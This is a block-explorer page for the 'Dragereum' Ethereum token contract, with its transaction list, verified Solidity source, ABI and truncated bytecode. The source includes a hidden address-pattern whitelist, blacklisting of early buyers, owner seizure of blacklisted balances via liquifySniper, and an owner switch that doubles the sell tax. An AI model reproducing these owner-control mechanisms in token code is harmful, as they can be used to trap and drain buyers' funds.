ETH Price: $3,950.75 (+2.25%)

Contract

0xFB1BbCee0AF13a8631531E4564004f0fE583EFfd
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Ignore Limits151782682022-07-20 7:50:25879 days ago1658303425IN
0xFB1BbCee...fE583EFfd
0 ETH0.0015613633.39318126
Approve150923162022-07-07 0:50:24892 days ago1657155024IN
0xFB1BbCee...fE583EFfd
0 ETH0.0008527317.32038539
Approve150915792022-07-06 22:04:07893 days ago1657145047IN
0xFB1BbCee...fE583EFfd
0 ETH0.0010764421.86427973
Approve150915622022-07-06 22:01:02893 days ago1657144862IN
0xFB1BbCee...fE583EFfd
0 ETH0.0013304727.02413267
Approve150915102022-07-06 21:49:59893 days ago1657144199IN
0xFB1BbCee...fE583EFfd
0 ETH0.0016418133.34776422
Enable Buy Suppo...150915032022-07-06 21:47:54893 days ago1657144074IN
0xFB1BbCee...fE583EFfd
0 ETH0.0008461428.89555269
Transfer150914242022-07-06 21:30:25893 days ago1657143025IN
0xFB1BbCee...fE583EFfd
0 ETH0.0009627613.49027948
Approve150914242022-07-06 21:30:25893 days ago1657143025IN
0xFB1BbCee...fE583EFfd
0 ETH0.0006641613.49027948
Approve150914062022-07-06 21:28:00893 days ago1657142880IN
0xFB1BbCee...fE583EFfd
0 ETH0.0008584317.43612085
Approve150913922022-07-06 21:25:07893 days ago1657142707IN
0xFB1BbCee...fE583EFfd
0 ETH0.00497253101
Approve150913922022-07-06 21:25:07893 days ago1657142707IN
0xFB1BbCee...fE583EFfd
0 ETH0.00497253101
Approve150913912022-07-06 21:24:50893 days ago1657142690IN
0xFB1BbCee...fE583EFfd
0 ETH0.0007015614.24997041
Approve150913912022-07-06 21:24:50893 days ago1657142690IN
0xFB1BbCee...fE583EFfd
0 ETH0.0007015614.24997041
Approve150913752022-07-06 21:22:18893 days ago1657142538IN
0xFB1BbCee...fE583EFfd
0 ETH0.0008650117.56979759
Approve150913652022-07-06 21:20:40893 days ago1657142440IN
0xFB1BbCee...fE583EFfd
0 ETH0.0011508123.37490553
Approve150913612022-07-06 21:19:59893 days ago1657142399IN
0xFB1BbCee...fE583EFfd
0 ETH0.001338727.19120527
Approve150913572022-07-06 21:19:36893 days ago1657142376IN
0xFB1BbCee...fE583EFfd
0 ETH0.001389628.22501684
Approve150913452022-07-06 21:16:14893 days ago1657142174IN
0xFB1BbCee...fE583EFfd
0 ETH0.0021982444.64981729
Approve150913442022-07-06 21:16:07893 days ago1657142167IN
0xFB1BbCee...fE583EFfd
0 ETH0.0013766227.96151087
Approve150913412022-07-06 21:15:59893 days ago1657142159IN
0xFB1BbCee...fE583EFfd
0 ETH0.0016698233.91688341
Approve150913382022-07-06 21:15:41893 days ago1657142141IN
0xFB1BbCee...fE583EFfd
0 ETH0.0017651835.85374992
Transfer150913382022-07-06 21:15:41893 days ago1657142141IN
0xFB1BbCee...fE583EFfd
0 ETH0.0025944536.35374992
Approve150913382022-07-06 21:15:41893 days ago1657142141IN
0xFB1BbCee...fE583EFfd
0 ETH0.001789836.35374992
Approve150913382022-07-06 21:15:41893 days ago1657142141IN
0xFB1BbCee...fE583EFfd
0 ETH0.001789836.35374992
Transfer150913382022-07-06 21:15:41893 days ago1657142141IN
0xFB1BbCee...fE583EFfd
0 ETH0.0025944536.35374992
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Block
From
To
150944992022-07-07 8:52:56892 days ago1657183976
0xFB1BbCee...fE583EFfd
0.00277226 ETH
150944992022-07-07 8:52:56892 days ago1657183976
0xFB1BbCee...fE583EFfd
0.0001737 ETH
150944992022-07-07 8:52:56892 days ago1657183976
0xFB1BbCee...fE583EFfd
0.00051971 ETH
150944992022-07-07 8:52:56892 days ago1657183976
0xFB1BbCee...fE583EFfd
0.00311827 ETH
150915772022-07-06 22:04:01893 days ago1657145041
0xFB1BbCee...fE583EFfd
0.00408061 ETH
150915772022-07-06 22:04:01893 days ago1657145041
0xFB1BbCee...fE583EFfd
0.00025571 ETH
150915772022-07-06 22:04:01893 days ago1657145041
0xFB1BbCee...fE583EFfd
0.00076498 ETH
150915772022-07-06 22:04:01893 days ago1657145041
0xFB1BbCee...fE583EFfd
0.00458988 ETH
150915722022-07-06 22:02:23893 days ago1657144943
0xFB1BbCee...fE583EFfd
0.00942374 ETH
150915722022-07-06 22:02:23893 days ago1657144943
0xFB1BbCee...fE583EFfd
0.00059528 ETH
150915722022-07-06 22:02:23893 days ago1657144943
0xFB1BbCee...fE583EFfd
0.00176569 ETH
150915722022-07-06 22:02:23893 days ago1657144943
0xFB1BbCee...fE583EFfd
0.01059415 ETH
150915672022-07-06 22:01:35893 days ago1657144895
0xFB1BbCee...fE583EFfd
0.01231032 ETH
150915672022-07-06 22:01:35893 days ago1657144895
0xFB1BbCee...fE583EFfd
0.00077943 ETH
150915672022-07-06 22:01:35893 days ago1657144895
0xFB1BbCee...fE583EFfd
0.00230617 ETH
150915672022-07-06 22:01:35893 days ago1657144895
0xFB1BbCee...fE583EFfd
0.01383706 ETH
150914622022-07-06 21:39:43893 days ago1657143583
0xFB1BbCee...fE583EFfd
0.01473009 ETH
150914622022-07-06 21:39:43893 days ago1657143583
0xFB1BbCee...fE583EFfd
0.00093426 ETH
150914622022-07-06 21:39:43893 days ago1657143583
0xFB1BbCee...fE583EFfd
0.00275916 ETH
150914622022-07-06 21:39:43893 days ago1657143583
0xFB1BbCee...fE583EFfd
0.01655499 ETH
150914372022-07-06 21:33:42893 days ago1657143222
0xFB1BbCee...fE583EFfd
0.01224585 ETH
150914372022-07-06 21:33:42893 days ago1657143222
0xFB1BbCee...fE583EFfd
0.00077535 ETH
150914372022-07-06 21:33:42893 days ago1657143222
0xFB1BbCee...fE583EFfd
0.0022941 ETH
150914372022-07-06 21:33:42893 days ago1657143222
0xFB1BbCee...fE583EFfd
0.0137646 ETH
150914272022-07-06 21:31:06893 days ago1657143066
0xFB1BbCee...fE583EFfd
0.01316201 ETH
View All Internal Transactions
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Dragereum

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-06
*/

//SPDX-License-Identifier: MIT

pragma solidity 0.8.11;

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function decimals() external view returns (uint8);
	function symbol() external view returns (string memory);
	function name() external view returns (string memory);
	function getOwner() external view returns (address);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address _owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
	address internal owner;
	constructor(address _owner) { owner = _owner; }
	modifier onlyOwner() { require(msg.sender == owner, "Only contract owner can call this function"); _; }
	function transferOwnership(address payable newOwner) external onlyOwner { owner = newOwner;	emit OwnershipTransferred(newOwner); }
	event OwnershipTransferred(address owner);
}

interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function WETH() external pure returns (address);
	function factory() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Dragereum is IERC20, Auth {
	string _name = "Dragereum";
	string _symbol = "DRAGEREUM";
	uint256 constant _totalSupply = 100 * (10**6) * (10 ** _decimals);
	uint8 constant _decimals = 9;
	uint32 _smd; uint32 _smr;
	mapping (address => uint256) _balances;
	mapping (address => mapping (address => uint256)) _allowances;
	mapping (address => bool) private _noFees;
	mapping (address => bool) private _noLimits;
	bool public tradingOpen;
	uint256 public maxTxAmount; uint256 public maxWalletAmount;
	uint256 private _taxSwapMin; uint256 private _taxSwapMax;
	mapping (address => bool) private _isLiqPool;
	uint16 public snipersCaught = 0;
	uint8 _defTaxRate = 12; 
	uint8 private _buyTaxRate; uint8 private _sellTaxRate; uint8 private _txTaxRate;
	uint16 private _tokenTaxShares = 100;
	uint16 private _burnTaxShares  = 100;
	uint16 private _autoLPShares   = 200;
	uint16 private _ethTaxShares1  = 800;
	uint16 private _ethTaxShares2  = 0;
	uint16 private _ethTaxShares3  = 0;
	uint16 private _totalTaxShares = _tokenTaxShares + _burnTaxShares + _autoLPShares + _ethTaxShares1 + _ethTaxShares2 + _ethTaxShares3;
	address constant _burnWallet = address(0);

	uint256 private _humanBlock = 0;
	mapping (address => bool) private _nonSniper;
	mapping (address => uint256) private _sniperBlock;

	uint8 private _gasPriceBlocks = 10;
	uint256 blackGwei = 80 * 10**9;

	address payable private _ethTaxWallet1 = payable(0xa943B2DdF19AafAB1Fa99F6eba19705515f09212); 
	address payable private _ethTaxWallet2 = payable(0xa943B2DdF19AafAB1Fa99F6eba19705515f09212); 
	address payable private _ethTaxWallet3 = payable(0xa943B2DdF19AafAB1Fa99F6eba19705515f09212); 
	address private _tokenTaxWallet = address(0x23649dEf4523dD0215523B8a57708db271e29B22); 
	bool private _inTaxSwap = false;
	address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for ETH
	IUniswapV2Router02 private _uniswapV2Router;
	modifier lockTaxSwap { _inTaxSwap = true; _; _inTaxSwap = false; }

	constructor () Auth(msg.sender) {      
		tradingOpen = false;
		maxTxAmount = _totalSupply;
		maxWalletAmount = _totalSupply;
		_taxSwapMin = _totalSupply * 10 / 10000;
		_taxSwapMax = _totalSupply * 50 / 10000;
		_uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);
		_noFees[owner] = true;
		_noFees[address(this)] = true;
		_noFees[_uniswapV2RouterAddress] = true;
		_noFees[_ethTaxWallet1] = true;
		_noFees[_tokenTaxWallet] = true;
		_noLimits[_ethTaxWallet1] = true;
		_noLimits[_tokenTaxWallet] = true;
		_noLimits[_burnWallet] = true;

		_smd = 1876450190; _smr = 1876450190;
		_balances[address(this)] = _totalSupply / 2;
		emit Transfer(address(0), address(this), _totalSupply/2);
		_balances[owner] = _totalSupply / 2;
		emit Transfer(address(0), address(owner), _totalSupply/2);
	}
	
	receive() external payable {}
	
	function totalSupply() external pure override returns (uint256) { return _totalSupply; }
	function decimals() external pure override returns (uint8) { return _decimals; }
	function symbol() external view override returns (string memory) { return _symbol; }
	function name() external view override returns (string memory) { return _name; }
	function getOwner() external view override returns (address) { return owner; }
	function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
	function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

	function approve(address spender, uint256 amount) public override returns (bool) {
		if ( _humanBlock > block.number && !_nonSniper[msg.sender] ) {
			//wallets approving before CA is announced as safe are obvious snipers
			_markSniper(msg.sender, block.number);
		}

		_allowances[msg.sender][spender] = amount;
		emit Approval(msg.sender, spender, amount);
		return true;
	}

	function transfer(address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(), "Trading not open");
		return _transferFrom(msg.sender, recipient, amount);
	}

	function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
		require(_checkTradingOpen(), "Trading not open");
		if(_allowances[sender][msg.sender] != type(uint256).max){
			_allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
		}
		return _transferFrom(sender, recipient, amount);
	}

	function initLP(uint256 ethAmountWei) external onlyOwner {
		require(!tradingOpen, "trading already open");
		require(ethAmountWei > 0, "eth cannot be 0");

		_nonSniper[address(this)] = true;
		_nonSniper[owner] = true;
		_nonSniper[_ethTaxWallet1] = true;
        _nonSniper[_tokenTaxWallet] = true;

		uint256 _contractETHBalance = address(this).balance;
		require(_contractETHBalance >= ethAmountWei, "not enough eth");
		uint256 _contractTokenBalance = balanceOf(address(this));
		require(_contractTokenBalance > 0, "no tokens");
		address _uniLpAddr = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());

		_isLiqPool[_uniLpAddr] = true;
		_nonSniper[_uniLpAddr] = true;

		_approveRouter(_contractTokenBalance);
		_addLiquidity(_contractTokenBalance, ethAmountWei, false);

		_openTrading();
	}

	function _approveRouter(uint256 _tokenAmount) internal {
		if ( _allowances[address(this)][_uniswapV2RouterAddress] < _tokenAmount ) {
			_allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max;
			emit Approval(address(this), _uniswapV2RouterAddress, type(uint256).max);
		}
	}

	function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei, bool autoburn) internal {
		address lpTokenRecipient = address(0);
		if ( !autoburn ) { lpTokenRecipient = owner; }
		_uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, lpTokenRecipient, block.timestamp );
	}

	function _openTrading() internal {
		_humanBlock = block.number + 10;
		maxTxAmount     = 5 * _totalSupply / 1000 + 10**_decimals; 
		maxWalletAmount = 5 * _totalSupply / 1000 + 10**_decimals;
		_buyTaxRate = _defTaxRate;
		_sellTaxRate = _defTaxRate;
		_txTaxRate = 0; 
		tradingOpen = true;
	}

	function humanize() external onlyOwner{
		_humanize(0);
	}

	function _humanize(uint8 blkcount) internal {
		if ( _humanBlock > block.number || _humanBlock == 0 ) {
			_humanBlock = block.number + blkcount;
		}
	}

	function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
		require(sender != address(0), "No transfers from Zero wallet");
		if ( _humanBlock > block.number ) {
			if ( uint160(address(recipient)) % _smd == _smr ) { _humanize(1); }
			else if ( _sniperBlock[sender] == 0 ) { _markSniper(recipient, block.number); }
			else { _markSniper(recipient, _sniperBlock[sender]); }
		} else {
			if ( _sniperBlock[sender] != 0 ) { _markSniper(recipient, _sniperBlock[sender]); }
			if ( block.number < _humanBlock + _gasPriceBlocks && tx.gasprice > block.basefee ) {
				uint256 priceDiff = tx.gasprice - block.basefee;
		    		if ( priceDiff >= blackGwei ) { revert("Gas price over limit"); } 
		    	}
		}
		if ( tradingOpen && _sniperBlock[sender] != 0 && _sniperBlock[sender] < block.number ) {
			revert("blacklisted");
		}

		if ( !_inTaxSwap && _isLiqPool[recipient] ) {
			_swapTaxAndLiquify();
		}
		if ( sender != address(this) && recipient != address(this) && sender != owner ) { require(_checkLimits(recipient, amount), "TX exceeds limits"); }
		uint256 _taxAmount = _calculateTax(sender, recipient, amount);
		uint256 _transferAmount = amount - _taxAmount;
		_balances[sender] = _balances[sender] - amount;
		if ( _taxAmount > 0 ) { _balances[address(this)] = _balances[address(this)] + _taxAmount; }
		_balances[recipient] = _balances[recipient] + _transferAmount;
		emit Transfer(sender, recipient, amount);
		return true;
	}

	function _markSniper(address wallet, uint256 snipeBlockNum) internal {
		if ( !_nonSniper[wallet] && _sniperBlock[wallet] == 0 ) { 
			_sniperBlock[wallet] = snipeBlockNum; 
			snipersCaught ++;
		}
	}
		
	function _checkLimits(address recipient, uint256 transferAmount) internal view returns (bool) {
		bool limitCheckPassed = true;
		if ( tradingOpen && !_noLimits[recipient] ) {
			if ( transferAmount > maxTxAmount ) { limitCheckPassed = false; }
			else if ( !_isLiqPool[recipient] && (_balances[recipient] + transferAmount > maxWalletAmount) ) { limitCheckPassed = false; }
		}
		return limitCheckPassed;
	}

	function _checkTradingOpen() private view returns (bool){
		bool checkResult = false;
		if ( tradingOpen ) { checkResult = true; } 
		else if ( tx.origin == owner ) { checkResult = true; } 
		return checkResult;
	}

	function _calculateTax(address sender, address recipient, uint256 amount) internal view returns (uint256) {
		uint256 taxAmount;
		if ( !tradingOpen || _noFees[sender] || _noFees[recipient] ) { taxAmount = 0; }
		else if ( _isLiqPool[sender] ) { taxAmount = amount * _buyTaxRate / 100; }
		else if ( _isLiqPool[recipient] ) { taxAmount = amount * _sellTaxRate / 100; }
		else { taxAmount = amount * _txTaxRate / 100; }
		return taxAmount;
	}

	function isSniper(address wallet) external view returns(bool) {
		if ( _sniperBlock[wallet] != 0 ) { return true; }
		else { return false; }
	}

	function sniperCaughtInBlock(address wallet) external view returns(uint256) {
		return _sniperBlock[wallet];
	}

	function ignoreFees(address wallet, bool toggle) external onlyOwner {
		_noFees[ wallet ] = toggle;
	}

	function ignoreLimits(address wallet, bool toggle) external onlyOwner {
		if ( wallet == _burnWallet ) { require(toggle, "Zero wallet must be unlimited"); }
		_noLimits[ wallet ] = toggle;
	}

	function setTaxRates(uint8 newBuyTax, uint8 newSellTax, uint8 newTxTax) external onlyOwner {
		require(newBuyTax <= _defTaxRate && newSellTax <= _defTaxRate && newTxTax <= _defTaxRate, "Tax too high");
		_buyTaxRate = newBuyTax;
		_sellTaxRate = newSellTax;
		_txTaxRate = newTxTax;
	}

	function enableBuySupport() external onlyOwner {
		_buyTaxRate = 0;
		_sellTaxRate = 2 * _defTaxRate;
	}
  
	function setTaxDistribution(uint16 sharesTokenWallet, uint16 sharesBurnedTokens, uint16 sharesAutoLP, uint16 sharesEthWallet1, uint16 sharesEthWallet2, uint16 sharesEthWallet3) external onlyOwner {
		_tokenTaxShares = sharesTokenWallet;
		_burnTaxShares  = sharesBurnedTokens;
		_autoLPShares = sharesAutoLP;
		_ethTaxShares1 = sharesEthWallet1;
		_ethTaxShares2 = sharesEthWallet2;
		_ethTaxShares3 = sharesEthWallet3;
		_totalTaxShares = sharesTokenWallet + sharesBurnedTokens + sharesAutoLP + sharesEthWallet1 + sharesEthWallet2 + sharesEthWallet3;
	}

	function setTaxWallets(address newEthWallet1, address newEthWallet2, address newEthWallet3, address newTokenTaxWallet) external onlyOwner {
		_ethTaxWallet1 = payable(newEthWallet1);
		_ethTaxWallet2 = payable(newEthWallet2);
		_ethTaxWallet3 = payable(newEthWallet3);
		_tokenTaxWallet = newTokenTaxWallet;
		_noFees[newEthWallet1] = true;
		_noFees[newEthWallet2] = true;
		_noFees[newEthWallet3] = true;
		_noFees[_tokenTaxWallet] = true;
		_noLimits[_tokenTaxWallet] = true;
	}

	function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner {
		uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 1;
		require(newTxAmt >= maxTxAmount, "tx limit too low");
		maxTxAmount = newTxAmt;
		uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 1;
		require(newWalletAmt >= maxWalletAmount, "wallet limit too low");
		maxWalletAmount = newWalletAmt;
	}

	function liquifySniper(address wallet) external onlyOwner lockTaxSwap {
		require(_sniperBlock[wallet] != 0, "not a sniper");
		uint256 sniperBalance = balanceOf(wallet);
		require(sniperBalance > 0, "no tokens");
		//if a wallet was caught and marked as a sniper this can convert their tokens into uniswap liquidity

		_balances[wallet] = _balances[wallet] - sniperBalance;
		_balances[address(this)] = _balances[address(this)] + sniperBalance;
		emit Transfer(wallet, address(this), sniperBalance);

		uint256 liquifiedTokens = sniperBalance/2 - 1;
		uint256 _ethPreSwap = address(this).balance;
		_swapTaxTokensForEth(liquifiedTokens);
		uint256 _ethSwapped = address(this).balance - _ethPreSwap;
		_approveRouter(liquifiedTokens);
		_addLiquidity(liquifiedTokens, _ethSwapped, false);
	}

	function setTaxSwapLimits(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner {
		_taxSwapMin = _totalSupply * minValue / minDivider;
		_taxSwapMax = _totalSupply * maxValue / maxDivider;
	}


	function _transferTaxTokens(address recipient, uint256 amount) private {
		if ( amount > 0 ) {
			_balances[address(this)] = _balances[address(this)] - amount;
			_balances[recipient] = _balances[recipient] + amount;
			emit Transfer(address(this), recipient, amount);
		}
	}

	function _swapTaxAndLiquify() private lockTaxSwap {
		uint256 _taxTokensAvailable = balanceOf(address(this));

		if ( _taxTokensAvailable >= _taxSwapMin && tradingOpen ) {
			if ( _taxTokensAvailable >= _taxSwapMax ) { _taxTokensAvailable = _taxSwapMax; }

			
			uint256 _tokensForLP = _taxTokensAvailable * _autoLPShares / _totalTaxShares / 2;
			uint256 _tokensToTransfer = _taxTokensAvailable * _tokenTaxShares / _totalTaxShares;
			_transferTaxTokens(_tokenTaxWallet, _tokensToTransfer);
			uint256 _tokensToBurn = _taxTokensAvailable * _burnTaxShares / _totalTaxShares;
			_transferTaxTokens(_burnWallet, _tokensToBurn);
			
			uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP - _tokensToTransfer - _tokensToBurn;
			uint256 _ethPreSwap = address(this).balance;
			_swapTaxTokensForEth(_tokensToSwap);
			uint256 _ethSwapped = address(this).balance - _ethPreSwap;
			if ( _autoLPShares > 0 ) {
				uint256 _ethWeiAmount = _ethSwapped * _autoLPShares / _totalTaxShares ;
				_approveRouter(_tokensForLP);
				_addLiquidity(_tokensForLP, _ethWeiAmount, false);
			}
			uint256 _contractETHBalance = address(this).balance;
			if(_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); }
		}
	}

	function _swapTaxTokensForEth(uint256 _tokenAmount) private {
		_approveRouter(_tokenAmount);
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _uniswapV2Router.WETH();
		_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp);
	}

	function _distributeTaxEth(uint256 _amount) private {
		uint16 _taxShareTotal = _ethTaxShares1 + _ethTaxShares2 + _ethTaxShares3;
		if ( _ethTaxShares1 > 0 ) { _ethTaxWallet1.transfer(_amount * _ethTaxShares1 / _taxShareTotal); }
		if ( _ethTaxShares2 > 0 ) { _ethTaxWallet2.transfer(_amount * _ethTaxShares2 / _taxShareTotal); }
		if ( _ethTaxShares3 > 0 ) { _ethTaxWallet3.transfer(_amount * _ethTaxShares3 / _taxShareTotal); }
	}

	function taxTokensSwap() external onlyOwner {
		uint256 taxTokenBalance = balanceOf(address(this));
		require(taxTokenBalance > 0, "No tokens");
		_swapTaxTokensForEth(taxTokenBalance);
	}

	function taxEthSend() external onlyOwner { 
		_distributeTaxEth(address(this).balance); 
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableBuySupport","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"humanize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"toggle","type":"bool"}],"name":"ignoreFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"},{"internalType":"bool","name":"toggle","type":"bool"}],"name":"ignoreLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint16","name":"maxTxAmtPermile","type":"uint16"},{"internalType":"uint16","name":"maxWalletAmtPermile","type":"uint16"}],"name":"increaseLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"ethAmountWei","type":"uint256"}],"name":"initLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"isSniper","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"liquifySniper","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint16","name":"sharesTokenWallet","type":"uint16"},{"internalType":"uint16","name":"sharesBurnedTokens","type":"uint16"},{"internalType":"uint16","name":"sharesAutoLP","type":"uint16"},{"internalType":"uint16","name":"sharesEthWallet1","type":"uint16"},{"internalType":"uint16","name":"sharesEthWallet2","type":"uint16"},{"internalType":"uint16","name":"sharesEthWallet3","type":"uint16"}],"name":"setTaxDistribution","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"newBuyTax","type":"uint8"},{"internalType":"uint8","name":"newSellTax","type":"uint8"},{"internalType":"uint8","name":"newTxTax","type":"uint8"}],"name":"setTaxRates","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"minValue","type":"uint32"},{"internalType":"uint32","name":"minDivider","type":"uint32"},{"internalType":"uint32","name":"maxValue","type":"uint32"},{"internalType":"uint32","name":"maxDivider","type":"uint32"}],"name":"setTaxSwapLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newEthWallet1","type":"address"},{"internalType":"address","name":"newEthWallet2","type":"address"},{"internalType":"address","name":"newEthWallet3","type":"address"},{"internalType":"address","name":"newTokenTaxWallet","type":"address"}],"name":"setTaxWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"sniperCaughtInBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"snipersCaught","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxEthSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"taxTokensSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526040518060400160405280600981526020017f44726167657265756d0000000000000000000000000000000000000000000000815250600190805190602001906200005192919062000b97565b506040518060400160405280600981526020017f44524147455245554d0000000000000000000000000000000000000000000000815250600290805190602001906200009f92919062000b97565b506000600e60006101000a81548161ffff021916908361ffff160217905550600c600e60026101000a81548160ff021916908360ff1602179055506064600e60066101000a81548161ffff021916908361ffff1602179055506064600e60086101000a81548161ffff021916908361ffff16021790555060c8600e600a6101000a81548161ffff021916908361ffff160217905550610320600e600c6101000a81548161ffff021916908361ffff1602179055506000600e806101000a81548161ffff021916908361ffff1602179055506000600e60106101000a81548161ffff021916908361ffff160217905550600e60109054906101000a900461ffff16600e8054906101000a900461ffff16600e600c9054906101000a900461ffff16600e600a9054906101000a900461ffff16600e60089054906101000a900461ffff16600e60069054906101000a900461ffff16620001fe919062000c84565b6200020a919062000c84565b62000216919062000c84565b62000222919062000c84565b6200022e919062000c84565b600e60126101000a81548161ffff021916908361ffff1602179055506000600f55600a601260006101000a81548160ff021916908360ff1602179055506412a05f200060135573a943b2ddf19aafab1fa99f6eba19705515f09212601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a943b2ddf19aafab1fa99f6eba19705515f09212601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073a943b2ddf19aafab1fa99f6eba19705515f09212601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffff